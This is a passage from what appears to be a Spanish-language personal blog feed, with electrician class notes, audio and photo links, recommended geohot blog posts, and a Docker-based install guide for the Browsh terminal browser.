<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAdqyMeeA11mL8rpR5PDlyYfL-QU_Qb-oL5MkvxDeMFizR2cuBAAYqgrQ62Wqknk7XEASX2qfrT4LwjFGD5ZFhnaBNZ7OC7LbHcBDh4UIHhPsR6RmMMcqFwV7Wzgy15O0kiofEu6rtxVmRfQW_HHf6Ff_Z-grHoBMyHW-t12ORlvvLa27PW5J2VQP1x_I/s4160/IMG_20250609_181751613.jpg" alt=""></p>
<p>Profesor habla de una aplicación que se llama <strong>“Cálculo Eléctricos”</strong>.</p>
<p>Después le voy a mostrar como se utiliza por lo menos la parte más fácil porque después hay cálculos de motor y todo y hay partes que hay que pagar.</p>
<p>Si hay que pagar ya no agarro.</p>
-
Electricidad / Clase 62: Clase práctica. Continuamos con trabajo en aula: cableado de tomacorriente, iluminaria.
https://imlauera.github.io/electricidad62/
Wed, 03 Sep 2025 05:45:49 -0300
https://imlauera.github.io/electricidad62/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1d01jBzbcYlH">https://vocaroo.com/1d01jBzbcYlH</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-241">https://archive.org/details/record-241</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=UEUuzP-eeZQ">https://www.youtube.com/watch?v=UEUuzP-eeZQ</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY3CQc2v_6gp8uflseCFC5PhVFvl-caAUE-ASe2eLbA-a9adg4xtLgW7Yustbfo98HsoOhwIsKq3Df8IERF6xqGLY42EtL-6MdPEzxoKbvSIZh0q0dVhy5Wd2YyT8UzyzeJeM4E-LcD3T5dCmZBRB7-x-MAHqxV0wF8XpWDSUxmfhNIBa6ffLMEhnsReE/s4160/IMG_20250902_184320039.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5bdCTSpVAf-fdcfnod1FZU7TosoT6psisaBwpN__b89l_xqzdQ-whVuq_v6Q7_GwJb1lkvCKuVw_Ouu36DthQ8qXhy9U0vUvFfEDB9Cq1rQqk2wek73RBAUQpW9yKwHzFpfylV6b6opq0I8-WPqHN1Nj-kuuBxJVf4n5SniynT2F6bNsrue-QgcfTwSk/s4160/IMG_20250902_184321394.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR1Cspsj0UT2QbjUKQTFsSBjumC9E30CBk6GPmtQpzkreNnst1zbYB5BYYlqRe_AH4150kOWh-GmXGz1e8fqMR_oS-2pkh7PB8-CQNrpdriL8NqVHkrvpu7LqXhq_k2PpK0ECcGaMfMh6vHYtERge186PED1zq0Zql8liiUUWEbdaZHZebvYpIhUB4fXs/s4160/IMG_20250902_193802898.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9soYPlT2zJJedldjAw_zpN_L3HOUkdjyo3KtYyZUPD0F4H7rvmEJbEetbhxegRPQ1upYR2Yb1gayfgFnFgZ91Gqr4TUOuatAEFnp7K0u18b23XxeuUlCodnc7-SnvVs24dtTDv1651anmuAzGD83w4mQdeH6zW-RjNywlnP5vmorWjHds5IQiWLdi2T0/s4160/IMG_20250902_193812147.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHE73vw0IL83JNzGojEeicWz8kBANHR2Vb2tQ9O-RKBXw2IkdHc34SIJljmyp0ADY1nEmrE_1hKdqZgB1bnc1gajIY9uveTovNglH1ZmeYszLjKUMjYo-YqXYdfJYDYwAm3x3wEfKBTBWZSf6xBkxyRbR67OrYwa21bm9j-xRzyjAj5umUf7Sw8eLhmdo/s4160/IMG_20250902_194753634.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLMu4JOwz0xPbdHjLZg-8A1j87vflHTP3KYxfTfqygHkAzo7ssJU1NhERPmRxzYvbWcBrXv6kMdvDRnffYgqgksCPzoVO1vEGCYhKsyLjr7a5sUPEaJ1stlznkmYEq1sPWiXbVMyleluOcba0PjzWo0G1ahftc4T6byMCNpjyz6gfM86RZDb8eyqhqlGQ/s4160/IMG_20250902_195158845.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoeX-HjE9-_cfe4t1aeRxqTdv3a3Zvraq6GFDcCnhb6UaKqPA60LulUD4qLO1UhaKCxm5dZk8IGTp72NOIEbwIkxKR_0jYzYk0hAhPI1XxfDPHytF0c7ZbtN7WwN9YFep23u-c_79V7IB-q9Msgr9ua9EsJakV1wLV13_Lhyphenhyphen5x56N-bHDtWNnj2BFvhtk/s4160/IMG_20250902_195934904.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHhlxIf1I0kp5KgXfxzjTM5DbW3HvkyOT-tSOiCAn0qANR2BFsA4OZbCfh1E2e0e_nmELboL_BoOEW7VjOfEpqSV3izUGvmmv1HQQMzO3uLOZ10YB7wFTfmbdg3Jq7DO4ZOsjCnAFjzG9fTCMu347pdjMcqnYBqewbYEwSTabk36GIumr5y3_-I3qYOO0/s4160/IMG-20250902-WA0003.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUeZppdwphb0V6QpF_-RGt6vyF1aABfpWKVTwBuxfcFiRJLskn3JeJYEA50LMKGjtsUWdjpYAvQUQwDAk2rBC1xfZNY1W5Q_6CXiV35z6X3ni95A2o9cM1JmceY8c19bmwznaZ5CnEygG2YT6nlVcy1fkkMSnMtIkppZ5zFTvHGUGdEED3SWlinhKH0UE/s4160/IMG-20250902-WA0004.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsp-jmqZOvofQ4wweNDLu7SE5g3ncYb7BKvDQESaSZTuDXYL1AfKIrM_xn1f2hn1Q8b0nM_8_voX_seG_ZYoxB4CAKjA8sra63HU3j7AsuJyyhGDW7UmAi8h2HQzSSNGTbw4iFtlbh4tvlQq3ptgl4K6uofmFgg61JEXSSYLZ2VYVcZEUdjkq9YqiWsZU/s4160/IMG-20250902-WA0005.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzPZ5yaaqFUfRBND1vsmVnHDg0o2P1RIksCOpzUtrhRvMUpVPbRj-G5jBNq9j8qk9mQSUFNMuQTEAM7SpWpthV0zKJY_kVY0ctn205OWwaCKEfhuaQhMGDnZY0kbx2dgGpye2UGs-vgBb7aV4xB7Q-0gIvaQ0V2btMJCnGcr9kMNBcs-pZNJxM4JOZ1gk/s4160/IMG-20250902-WA0007.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh57lmjouRnWlVn-lVSVlJszq6m5Fe2GOrgmY989cKcDiHHj7H9g0vXtTPH2Ad0IfJPcxCPKk0JnWxqlxVSxjO-lePuvB-BlYS-VtH-uL_j1vXc_xHfsVYEc5wVgiEXU-pjy-k6ootr5zzzEHQaA64rq-sk-1-L-fFHOMnlDygtUqVyMtHxnHOysf9UtKk/s4160/IMG-20250902-WA0008.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj92kAsqigc1bH6ZhsUDUam8zrPgnYLmmcrwZun_qR8VPwBLWNbVCx9O7x1eW_VC1erdwtRc1T1mrkppjCRDmHF2EnUYtajs81IYrPeWToxIPF5byQxz7JrrzOAOmFoVcevwRIabmrTyobWzfEzk3GQ7HHWw5zqLvdPfIybdvIwEqlqVMvrKM4Mly6SGFs/s4160/IMG-20250902-WA0009.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEQ5cq1h7IRanAqSRQakbTFoNSZ4Ff89ZTy4bHdMtkZqknS1ttOORFRka8q76RLde5JbSlhEyNtfNkkLAijQ_dyPyEct-8MjgF-JlZXIMmSctlhIlPX_3soA4tebDm6Kxi28mqttMIIzh0o0KLA64fiqLNxrmOI7jYpgRL4Lv8LzwfVdwxlrATkYUKtZ8/s4160/IMG-20250902-WA0010.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijL7WyPqrBxNpQOHGphS16Cnqigvl9I9I_l-sMjxafxCG2kzmLyo97SyMMqIxOZONtDC9LhRR78rRdSXiYLxzOBbu4W2nLYn_ioMqbxPiGcPHmOoeohd2x-fR3AZ-di5oq9ahtJrg_clP3th0qLTtZe5xhkgMomdqihV1YM_8FQ923LIvGj7_fGT8VtXo/s4160/IMG-20250902-WA0011.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKMc9w0eI0e-SeGB6WtDZnk255Xn3-ytMbTfloo6pI81oXQrqhkpU7kw1OkBwxn6QjqJewCJymhhmmn0tIaOmfIwa8pthlIIT16dW21D2m_pzmQycDb0S6RaI-MBYv_uEpXlWEXSWoIPHY16IxAM3TLYK-r-jPNTAkn1hXVZFNacB8BXJoBvlEobudt-E/s4160/IMG-20250902-WA0012.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWJcnIs7TsZPPobUE0HNHHoYgVLhy2Oi6AqeNOQaKghL0zkO1nbyqBk2zsDWX1_-ps3f6AJqKttKiUStq1MzWx80xvSDKrLesn6V3M6KjKTrFMqxaNVJ-H5rrUCL5kLOLwZ2qqLmu_U9HKw3u7uXyFZ-k5mG_y611Bs1fr-naFRvdfDv9zaiz0mYbKM7w/s4160/IMG-20250902-WA0013.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXrSgo5KpvShojhiTXJia5cbw_-xB2QyYP9d85jnT5YUx5tpCdfGH0XTV4goNRNaR67x30rx26EeUF8uDGJfriluRwZ5qgRCHPgJMtx6XuWi5HQYAPJ6pGa-oVz2sFp6oirFl8_Qem9rqbcraYCPLej58nT7Z73pf8sWpMAOfjhtRmdEUCrw-dafWAPX0/s4160/IMG-20250902-WA0014.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkJLgQ0XVZR_TmuHO7EO9bjcfp8zpiLKwVHU2b8_9bH-B1IrsbGzQv980XH1aHH90Csnhw9X36GuSAi3Z6WX_vXZNNSxkcii0jyus3Tu9r_nbMcW-vdV5-UQtHgiMSX-4tQCMt3tdVf6cQ9-szAd5M4HcTSCm6bnykpa2Y93hpDDYFrmEsRvOvcuPF-5Y/s4160/IMG-20250902-WA0015.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsWF6nhPsEyzI2hyjKB1hiui8Ohj9ErtfLxCcUP4CIvggwTU-46vfbuRYabT6SDVZYJUJTPzvzp235q_kAY4MbzFG1nDkyapkPAC5Uvt7o_dQW_Kha-obwzq7JO3rRdwei1g3RmSGwZIfyxqc5NG9sEAKraDZPGw_ebqT60K_wnJnPcXMif3qX1IW9rQo/s4160/IMG-20250902-WA0016.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-yw2gdl9Uk11fLo-bsUAVRW6Z5pcKvsKb82zxYA_OnOQvrwVXeDan2UsIAtbQnplkFfukoI3y145YT3MxDaI1cQE4NRCu8ddd8fBeWXUZMhSrCgU6_pU64Tmm4BjV0qo7MN6oNbvzkTiZM49wXailxgqwMHMTvPLqxrNArXlkRwCZhMKyl7HR1nVOszM/s4160/IMG-20250902-WA0017.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgICRM4a4pKO4qAIcjM1qCqHkA_qeRecy38MzBASeXlFnaG_1molI8cQJbx_zKt2HA2rrbsb747rI9K27bfEuSJZb3Z-p66AiwmW0_UpcLpIm-WbtrgyqYJEDzRI3qBrEdCit2W8Pe3_pAmVHTb95Oa8Pwd_erBZ_vG2Dai3vU6vkfuQGThROKW6-Jm9O0/s4160/IMG-20250902-WA0018.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3MTY-2q7IyhbDDf7kbsKVZSjlLr2KfSwSQ1dW2tnx8sdhxW75y4FsX0q9K_fHhGiXunHwqMn_G9EAVGS0fsgKh0_P92K1CBHhcKsg85yP6WgPBkcwzp_xGX5n70a92Bew0t2u4kd5ODu8jRQM2lroToMmi4gbcxb2U_uL6XsWegm4mFeGe3KiqFAvo60/s4160/IMG-20250902-WA0019.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgC2xDyxk4u1Yxx0PelQRUQB3bg4bC7L5Lnry9h3QJK0nxLqRF45L_ghyphenhypheneAxUhGgexCDTFOjwaJTnlfRuP2pIg5k1AwStfc6jk02hXQQMPA590z7ODbQDTPmmAbfukSpHD5JjolryJg95dwLlbLVkEopiN8jr7MDb8EgAkPeWv800d4P6dwM_kKN9poqIM/s4160/IMG-20250902-WA0020.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcuzLIwyvCfTOfCcwIQo5kLwuzqOoXv7hzGieQbWfekqYh0viIlyeZdd5SCtHpP48d9r-AgjN9HIB9Ios2-fXUR2xHvuuZCqIs1srJ5urE4Y-IUjwaMHFjec3I1xgVZxFVWl4TltlXiU5KKL0JNAAViPLyDcuRjwBqHuJzYLZJYrR-7JuhqroE3XFm2i8/s4160/IMG-20250902-WA0022.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjV4qdVDW_q3fIx3_S7vWKv1d9cSSKeT8GPyDH4biFoy377rtvsbiE14fXtmfmscw6XQyqHniJIRYG3dXts4l5yk2Iyjr-ObfDCXvlwwBZVq4MseIpdq-SNf8DRs3d611BF82ISfidpiPzWBPviVscYtBpU41PljhyULZLewxWRma6KTwZ3ClopWlcwINw/s4160/IMG-20250902-WA0023.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYyJcyUQN1xutuIj5asViGm8zT3SXZ7lsDfmvW5sR_d9YAKuigpMqmPrBNfYNquxsZ-N441jRvFUarB0Dzdh6FnQfj4JJyRbMGF-F8HN7h3PiGN9j868ZAvUZeRT-eyDglnUEVPm8L74-yrSmGyVn7OLpnaWMb-WjWkHO85ODKWWjSwzd24nS4eURt8Tg/s4160/IMG-20250902-WA0024.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwwPpDsVLh9rxecyvIeoqaDXTlDD8dv0Aaq2_jc3XANjsbGBlDsmt2jODd5uuKbBXujzdtSdAcOZGqAIJ3hMFESq0ppLhg2C7-1fCpFylZqpEycz0TLASDP2QAFEFytHsYISmti5robqfhmJVE_jnulJfkJxuVzIohgKO-czbn32QzFeozpj7yV7fkcEI/s4160/IMG-20250902-WA0025.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5soAeZneUQmXZcROC7qgprZ847UhbH0ekd-nYFoEF0T95fw6Kmvt5BThUgDEZFHhjxIXrIy_mybZ20XnV2tFBjqdOcAa5ec5z9u7YZRpVO02YFr1Y4Jw3CYiNy8SYHQz35T4hvcJoG3udt7a5QYtp8s_0eslOTb7TvSSEVuRY79Vrug-sVm7tIsJ2DLc/s4160/IMG-20250902-WA0026.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg79J_Ig6OmOImSg_YgOVhCg8ET5WQoR6QbF2kvuK5GtoriaLVF-wpLeXn7ZweMEkqhM7iu04yJDlujb8vaFoueQ8ojnC9pWUvWZGtaLEbrYR_vmcMXk9gf4f8xYl4il9NECZIfewI1QQeaHO5DKxMLnGdjf2pFwbJRkwcpoWFlVb6S0St2ttV9ZnMsBlA/s4160/IMG-20250902-WA0027.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXG14jq37q7PbTHlgKLR89EsQbkCojk2D1GwyDlkPAwMZUvDKfLZsKfPgJC9t5NEufAoomGM7e_McLAGHgl2kqc38ey5xTU_Fo-Z06VHl1LYtyb0rSdVU47jVbDO0Wf1zqJbFef832dJA5X6m5XnfNxfKDCXdNizT2igcGX63dghPhFhSTZWPLOn_N-qM/s4160/IMG-20250902-WA0028.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxrUJF5T4NKobQcmjZPeCre2KJVFPR-l95Sgpn6g40hQZxMNegDTW9Js0NWQSeggeryUQwDv8Y-VGd6Wvu_EPiX_x8-dx7DPhGy7tTH3DHjPC5eCozdefg4UZ_lrBuhPfjZykKcM3ByxcnGzygT7bOvE4qMkQjV2uLakCurX19oLjlGEe-t3cqZzbhwoQ/s4160/IMG-20250902-WA0029.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3syZiBxXrQBBYdFciIlgzbOBXHDbHvumKZ9vc31-a1nMn1RbIBi1ze9swoP0SrIroXAvDG1C-8BIb28L_ylIL21o1csueHx7hfWv7VUjlCvPZM_bJLwZvrbHqNPNGq6DTryoeRxE4QDL14vbM6XPyKO_cE0neN3HcibFqyBVkh2AKJ4aVYaakHxDOT9w/s4160/IMG-20250902-WA0030.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDfV8lKo9NPsAzjcXpC3V43NjM8v8qkjW5QrWJAAV_yWdNN9hFUXCvKZEMoRxbwZJThfEXnI8T0PMa_3ybNVaxzzj3AuqwE7wmI52UDioue3BB3JcfMB3k87YT1cyqDtc1b-K41aIgiSSPj8zLoR7sr6c7RoxYQesTy10XShUPq-UgG31_ybCMS8UKCKA/s4160/IMG-20250902-WA0031.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBcTGcWWZ6QcK2Yg9Cd-cEZp2kzHaQy-ugz7TKkvo6YZ8OoCw481O56fMKEe3poNd-i4Oz2ZXMyYPjcj-KKob7NZ3R6PDdCX1eVpCkg9vyl5vbzM7RxYLLoAWXbvT2hp0JqDCanqxhShxhabqPceYu9F4AASlGPw7UernhUnObd4kfphseJOW34qH8tMs/s4160/IMG-20250902-WA0032.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrQ5XyjcJrrVv8hqsMs3vPvfc-nkZvq7qwjUpvXGpX7Zn9ajqFQFc1ON937c3D9nA2sTR0oKdaEpjQ2ztPqzmn26-w1mqie0uqIUzz1yiA2iJOFpT4ZRj5DAktme1aSdzsTXQHnYPHEPQdjcOI1nCv3sw6rPgMV-VmCJ0wgXNM76Mtis7-3u6L-VAZ_zs/s4160/IMG-20250902-WA0033.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5j3RS0zSb4ju0Yq0c2nTdIqSwBNKjahItnq-Vg_aHCsO0kh5x4juEd3vs0PRAFoOz1MEu0dK2uGVkC4fPK1RQZSRCBXsaawwAgTQws1U9WHvfjRUWriESEqDcTUPRY4vbO367WVXn0T1JbFTRb3HKJc29AiF7hyTkXlzu6Al0UfuYoiBoqdyWsW-gDh8/s4160/IMG-20250902-WA0034.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9ErxjFHJP9xlQvhuN0bpBpt7rMr_USuU10TNdjxLDDxtEvSF6d1NcnemX0foJQUWc4gRs7C9Yfviaem8rn8wiDLP6NVH9Z0hrhj9DeA7GlRx4Bi2a-4CI4drqO7l2X_-K6v8Gb0vs9ax7c6wX74M_2pK-XNjKK5E9_nudMFG1YQC0v0UfINsPOVfwlfw/s4160/IMG-20250902-WA0035.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtObNHMCjDT2o77WvNSR1nDW-wb-UFBhRFb2ETXzbhhwDjBo-zpZlLwV03bGakSRK4rhY_jbs0ooCcQqmqDACCYPY9rMdxKjSXGI0RcPztAksdmSNTzz9XUolQOsj_WwCHliU0QOaq-FfXDTXiFTpjBrF2ZX-IQsmDmXCu5hXrreLhUztmKuLCHuJ4Cic/s4160/IMG-20250902-WA0036.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrwr9HlGeDQmopGobLLuRFVFGIAbTZo_1Y-Z-5pbsPnBHdgEEUgX6JmpieeLhs3FmkoECw_x0zDiSq7RwnWe148p3xmkD_t3cUu6zycUMs5fjRriB2ChY1idSLPJEt4A9zjqLGaDOk-ZH80wLWU1uatVmpMJOM3jH-eL-V4Brmm9LtG_OIKgdyVLNacT4/s4160/IMG-20250902-WA0037.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlnOsbpPbeVdHvVFJLhyJsheIwvU8rBAIBUz2TWRLcPC2qOfEmGwHDoX1tRvcOcM3Qhf_xWVgwFG_VCg8AVwRbJpc0s7iT9LiaSyIkX7mGNwTvNvCEY37yufOE22sw7hsXJfAtAE_yDK-0NGNqCLB-mrCr1TAsoGWlGSbooTa7LV3IrCSMzROG82hO7gA/s4160/IMG-20250902-WA0038.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRp25UWc1LOEBoaXLBOLSPyaJcVoTjneKqiAac75TmG6wavto-zmHmQmIo7PP3TRlTP9ATA3nR7vqRyuDq2Q8i_oy8f1L68JdvPYzxdAnN1tPT5qLPpwtFRjV_8SwbXMUjpPa8m8BnJuSjIxwAsD6nqyOKtTlPMLlyxcLNbVU1NiHbj7IQSkYmQ5sLBM0/s4160/IMG-20250902-WA0039.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidfPVGjLU73lcuysi1rmko3xLPOpPOtTUsZwDsnWUKBRJSaLMRZjTeMSkIWnyHRxu7DY2B0ehwVW6Y6k7nWHITzR8TyzqFTabM8UI5JdaJ_oma24bvnXI1QznrYf7aA1x-My4vFlTelfrH59dSJWc5usfPY0sZ3iBwUfMwgBP91MV2F75NPIxUoSsL7Nw/s4160/IMG-20250902-WA0040.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcOhL-bF0Seb50T72pPo7usBlPPP7gq5M2ZKuUDdpm9pq8ZFLLQTDto1j1Zli5QinAamMdo0FLxkyKku6b7BNf8kt0nxQfwFIHcp-uxD5rvA_M-w5IxYLKuxYYYaZQ7NtyOd04wupB1nF8r3qVlWEjeOSISYXB8AzRZ7O0wErjX3e-yZZS_RMG05kr_aY/s4160/IMG-20250902-WA0041.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJv0P_zCSeyX3by-P9dwuL8I82CSqDWJjuUYzorU9edGzQt-C8ngMz8SR5OXW_KMhMeYGgYQ9TO_hzA8jQ1egW72xYQQw5I3dWFtHWdIMCvkm490HvSkMm-o_L0ztqSJWmOTppo_NeC75ukfpKhIxyIoahhqS_kTgO0iZJuPhkssa0LUoMOY6uj9MmJ_0/s4160/IMG-20250902-WA0042.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_6wpmDbZBdbVYxh3bHYslHU67bn0oRjs6TXMJDyLwUGjc7_TUGffNi6Df5V79sZ4jrjAt2urhd7jyQNS5sL06sE4ai3HMq6dFZx7GiggvQ5ww10tIH6HufFuFWzuOnocD6n0SbVyjd_sbl2OCm7BKKxqNuP_jbJm6Rn3GXxq3Apd9BDBUuBLLYLJn3DU/s4160/IMG-20250902-WA0043.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEv0JgadEKsDy7IHeQAduhX7vpHyLvAiU0_dQfXWoi_AtjpgnLJqarw741BWGtdyEnVIypRquys0ZAgdcabwmZNeD64mEitvq-3vsiuhVxbbxuog01tA-jcqmzZRRqJV-aa4kn6-2tJWox7W2wQgJNKMP2GrfPUwqi5UjNW9Z4UsKHk7iIflARPpnPokg/s4160/IMG-20250902-WA0044.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpRE1k6_tZbD_z5IlxNvkqNSOgZw6LkhEPenvSF-IbkploOwJoJIdJcc-y-gLbQA17jjSrUuPh78TIZI8zgUTza2xWOkswAQpIpSmEQ_WkjcXy_D_fBlM_VngZnCnsvYT-kzK4MQZ9JXTxCE_mJLFzCK71iAR6kmvMaXghzB9o_kEgB2BeDNSy13thhes/s4160/IMG-20250902-WA0045.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgqGxefSM-7PxDhJrJZnPDnsX29MzmwPu8isUFwdAX25UegMFzWvhYXWA0ipnJuKO9glxG7Cbanz2E-Zi7zMYpRdqRLXVY0ffWY3tYh08nR_q6k74_xq-TlOA2xUgXJht6LhulEguTopUBNaF46y6UpjJ9IA8YMcq8zpWiYHzyfgu5Q3Omd0s32Wq5JSQ/s4160/IMG-20250902-WA0046.jpg" alt=""></p>
-
Geohot
https://imlauera.github.io/geohot/
Tue, 02 Sep 2025 17:24:12 -0300
https://imlauera.github.io/geohot/
<p>Artículos que recomiendo leer de su blog (<a href="https://geohot.github.io/blog)">https://geohot.github.io/blog)</a>:</p>
<ul>
<li>Class Warfare: <a href="https://geohot.github.io/blog/jekyll/update/2021/09/28/class-warfare.html">https://geohot.github.io/blog/jekyll/update/2021/09/28/class-warfare.html</a></li>
<li>Pieces of shit: <a href="https://geohot.github.io/blog/jekyll/update/2021/04/20/sell-outs.html">https://geohot.github.io/blog/jekyll/update/2021/04/20/sell-outs.html</a></li>
<li>consumer class divide: <a href="https://geohot.github.io/blog/jekyll/update/2022/02/02/consumer-class-divide.html">https://geohot.github.io/blog/jekyll/update/2022/02/02/consumer-class-divide.html</a></li>
<li>demoralization is just beginning: <a href="https://geohot.github.io/blog/jekyll/update/2025/03/03/demoralization-is-just-beginning.html">https://geohot.github.io/blog/jekyll/update/2025/03/03/demoralization-is-just-beginning.html</a></li>
<li>beauty after covid: <a href="https://geohot.github.io/blog/jekyll/update/2022/03/05/beauty-after-covid.html">https://geohot.github.io/blog/jekyll/update/2022/03/05/beauty-after-covid.html</a></li>
<li>dangerous misinformation: <a href="https://geohot.github.io/blog/jekyll/update/2024/08/12/dangerous-misinformation.html">https://geohot.github.io/blog/jekyll/update/2024/08/12/dangerous-misinformation.html</a></li>
<li>you are a good person</li>
<li>Wireheading city</li>
<li>idiots are going to kill me</li>
<li>are we the baddies</li>
<li>happy brithday to me</li>
<li>collective marshmallow test</li>
</ul>
<hr>
<p>Do you know someone who works in real estate, finance, sales, tip screen design, or advertising? You can nudge them in the right direction! Explain to them how their job is making the world worse. How if everyone behaved like them society would collapse. But make it clear that it isn’t too late for them! They can repent and start creating value for other people tomorrow. Consider: construction, manufacturing, engineering, operations, shipping, retail, the service industry. Even sitting in a room doing nothing would be an improvement for everyone else.</p>
-
Browsh con Vim-mode
https://imlauera.github.io/browsh/
Tue, 02 Sep 2025 02:10:46 -0300
https://imlauera.github.io/browsh/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S docker
</span></span><span style="display:flex;"><span>sudo systemctl start docker
</span></span><span style="display:flex;"><span>sudo usermod -aG docker $USER
</span></span></code></pre></div><p>Salí de tu usuario y volvé a ingresar.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone -b vim-mode-2022 https://github.com/browsh-org/browsh
</span></span><span style="display:flex;"><span>cd browsh
</span></span><span style="display:flex;"><span>docker build -t browsh-vim .
</span></span><span style="display:flex;"><span>docker run --rm -ti browsh-vim
</span></span></code></pre></div><h1 id="o-sino-intentá-instalarlo-sin-docker">O sino intentá instalarlo sin docker:</h1>
<h1 id="how-to-setup-the-build-environment-for-browsh-on-a-generic-linux-system">How to setup the build environment for browsh on a generic Linux system</h1>
<p>This guide was made for x86-64 based Linux systems. You may try to adapt it to other systems.
In this guide it is assumed that you can’t install the required go, nodejs and firefox versions from your distribution’s repositories. In case this shouldn’t be correct, you should try to install go, nodejs and firefox using the package manager of your distribution.</p>
-
Electricidad / Clase 61: Terminamos la canalizacion (reemplazamos caño del toma con varias curvas) y realizamos el cableado del aula.
https://imlauera.github.io/electricidad61/
Tue, 02 Sep 2025 02:02:46 -0300
https://imlauera.github.io/electricidad61/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/11fkACoCxLik">https://vocaroo.com/11fkACoCxLik</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-240">https://archive.org/details/record-240</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=cCzjT9zqabM">https://www.youtube.com/watch?v=cCzjT9zqabM</a></p>
